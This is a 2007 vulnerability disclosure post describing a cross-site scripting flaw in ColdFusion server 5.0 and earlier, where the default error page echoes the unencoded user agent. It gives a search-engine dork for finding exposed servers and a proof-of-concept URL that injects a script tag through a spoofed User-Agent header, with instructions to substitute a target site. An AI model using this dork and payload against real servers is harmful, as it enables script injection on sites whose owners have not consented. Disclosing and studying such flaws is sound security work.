ColdFusion webserver <= v5.0 - 0day XSS vulnerability

Tuesday, 6 February 2007

Own3d by: digi7al64 (digi7al64_(at)_gmail.com)
thx: WhiteAcid
About: Default settings in ColdFusion server ensure it returns a standardized error page whenever a exception occurs (404,500 etc). This page then echos the user agent, ip and referer back to the user for debugging purposes. Unfortunately though, whilst the referer is encoded to stop xss, the user agent isn't. Hence spoofing of the user agent allows xss to be performed.

Googledork: intitle:Error Occurred While Processing Request.


POC (IE6/IE7 only - can't spoof headers in FF or Opera with flash):
h**p://www.whiteacid.org/misc/xss_headers.php?xss_target=
class="fixed">http://www.example.com/&USER_AGENT=%3Cscript%3Ealert(
String.fromCharCode(120,115,
115))%3C/script%3E&HTTP_REFERER=http://www.google.com/

**Make sure you change http://example.com/ to target url for POC to work**